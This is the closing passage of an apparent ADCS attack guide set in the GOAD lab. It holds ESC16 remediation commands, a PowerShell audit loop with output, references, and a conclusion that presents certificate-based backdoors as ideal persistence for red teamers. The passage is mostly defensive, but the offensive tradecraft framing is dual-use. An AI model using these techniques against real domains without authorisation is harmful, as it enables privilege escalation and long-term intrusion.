EndTime : 1/4/2025 5:45:30 AM
RenewTill : 1/10/2025 7:45:30 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
Remediation
Immediate Fix:
# Re-enable security extension requirement on GOAD CA
# Method 1: Remove szOID_NTDS_CA_SECURITY_EXT from DisableExtensionList (Recommended)
certutil -config "braavos.essos.local\ESSOS-CA" -setreg CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\DisableExtensionList -"1.3.6.1.4.1.311.25.2"
CertUtil: -setreg command completed successfully.
# Method 2: Alternative approach using EDITF_ENABLEDEFAULTSMIME (also effective)
certutil -config "braavos.essos.local\ESSOS-CA" -setreg CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags +EDITF_ENABLEDEFAULTSMIME
# Restart Certificate Services
Restart-Service CertSvc
WARNING: Waiting for service 'Active Directory Certificate Services (CertSvc)' to stop...
WARNING: Waiting for service 'Active Directory Certificate Services (CertSvc)' to start...
Status Name DisplayName
------ ---- -----------
Running CertSvc Active Directory Certificate Services
# Enable Strong Certificate Binding Enforcement on Domain Controllers
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Kdc\Parameters" -Name "StrongCertificateBindingEnforcement" -Value 2
Restart-Service kdc
# This ensures DCs reject certificates lacking the szOID_NTDS_CA_SECURITY_EXT extension
# Verify the fix
certutil -config "braavos.essos.local\ESSOS-CA" -getreg CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\DisableExtensionList
# The DisableExtensionList should no longer contain 1.3.6.1.4.1.311.25.2
Long-term Hardening:
# Import required PowerShell module
Import-Module ActiveDirectory
# Audit all CAs in GOAD environment for ESC16
$goadCAs = @(
"braavos.essos.local\ESSOS-CA",
"kingslanding.sevenkingdoms.local\SEVENKINGDOMS-CA",
"winterfell.north.sevenkingdoms.local\NORTH-CA"
)
foreach ($ca in $goadCAs) {
Write-Host "[*] Checking CA: $ca for ESC16"
try {
$disableExtList = certutil -config $ca -getreg CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\DisableExtensionList
# Check if szOID_NTDS_CA_SECURITY_EXT is in the disable list
if ($disableExtList -match "1\.3\.6\.1\.4\.1\.311\.25\.2") {
Write-Warning "[!] ESC16 detected on CA: $ca"
Write-Warning " szOID_NTDS_CA_SECURITY_EXT is disabled"
# Fix the misconfiguration by removing the OID from DisableExtensionList
certutil -config $ca -setreg CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\DisableExtensionList -"1.3.6.1.4.1.311.25.2"
Write-Host "[+] Fixed ESC16 on CA: $ca"
} else {
Write-Host "[+] CA $ca is not vulnerable to ESC16"
}
}
catch {
Write-Warning "[-] Failed to check CA: $ca"
}
}
[*] Checking CA: braavos.essos.local\ESSOS-CA for ESC16
[!] ESC16 detected on CA: braavos.essos.local\ESSOS-CA
szOID_NTDS_CA_SECURITY_EXT is disabled
[+] Fixed ESC16 on CA: braavos.essos.local\ESSOS-CA
[*] Checking CA: kingslanding.sevenkingdoms.local\SEVENKINGDOMS-CA for ESC16
[+] CA kingslanding.sevenkingdoms.local\SEVENKINGDOMS-CA is not vulnerable to ESC16
References and Further Reading
This guide builds upon groundbreaking research from the security community, with all examples demonstrated in the GOAD (Game of Active Directory) lab environment:
- SpecterOps, "Certified Pre-Owned: Abusing Active Directory Certificate Services" (2021)
- TrustedSec, "EKUwu: Not just another AD CS ESC (ESC15)" (October 2024)
- Munib Nawaz, "AD CS ESC16: Misconfiguration and Exploitation," Medium (May 25, 2025)
- Certipy Wiki, "06 – Privilege Escalation (ESC1–ESC16)," GitHub (April 2025)
- Microsoft Support, "KB5014754: Certificate-based authentication changes on Windows Domain Controllers" (May 10, 2022)
- Microsoft Learn, "Edit vulnerable Certificate Authority setting (ESC6)" (March 2025)
- Orange Cyberdefense, "GOAD: Game of Active Directory" (2024–2025)
- PKINITtools (Dirk-Jan Möller) GitHub (2024–2025)
- Impacket Project Repository (2023–2025)
- EKUwu: Not just another AD CS ESC - TrustedSec
- CVE-2024-49019 - Microsoft Security Response Center
Tools and Resources:
- Certify v1.1.0 (2022-11-08)
- Certipy v5.0+
- PKINITtools
- Impacket v0.11.0+
- GOAD Lab Environment
- ForgeCert
For the latest ADCS research, monitor:
Conclusion
ADCS attacks are some of the most powerful privilege escalation and persistence techniques I've used in modern Windows environments. The techniques I've covered in this guide - from ESC1 through ESC16 - show just how dangerous certificate services can be when they're not properly secured.
All the examples in this article were demonstrated using the GOAD (Game of Active Directory) lab environment, which provides realistic domain configurations like essos.local
, sevenkingdoms.local
, and north.sevenkingdoms.local
. This practical approach with real command outputs and authentic certificate configurations makes these techniques immediately applicable to real-world assessments.
Here's what you need to remember:
- Default configurations are your friend (as an attacker) - Most organizations deploy ADCS with insecure defaults and never change them, just like what we found in GOAD
- Certificate templates are the goldmine - They're the primary attack vector for most ADCS exploits, as demonstrated with templates like ESC1, ESC4, and WebServer in GOAD
- CA-level misconfigurations are critical - ESC16 shows how a single CA setting can make ALL certificates vulnerable, regardless of template security
- Permissions are everything - Weak ACLs on PKI objects create tons of attack opportunities, like
khal.drogo
having WriteProperty on templates orviserys.targaryen
having ManageCA rights - Detection is hard - Many ADCS attacks blend in perfectly with legitimate certificate operations, especially in complex environments like GOAD with multiple domains and CAs
- Persistence is incredible - Certificate-based backdoors survive password changes and account modifications, making them perfect for long-term access
For red teamers, ADCS should be a standard part of your privilege escalation methodology. I check for these misconfigurations on every single engagement now because they're so common and effective. The GOAD lab provides an excellent testing ground to practice these techniques before using them in real assessments.
For defenders, you need to implement proper monitoring, harden those template configurations, audit CA settings for ESC16, and regularly audit PKI permissions. The detection scripts and remediation strategies I've provided here are specifically designed for multi-domain environments like GOAD and can be adapted for real production networks.
The techniques in this guide will keep evolving as researchers discover new attack vectors. ESC16 is a perfect example of how new vulnerabilities continue to emerge in the ADCS space. Stay current with the latest ADCS research and always test these techniques in lab environments like GOAD before using them in production assessments.
Disclaimer: This article is provided for educational purposes only. The techniques described should only be used in authorized environments and security research contexts. Always follow responsible disclosure practices and operate within legal and ethical boundaries.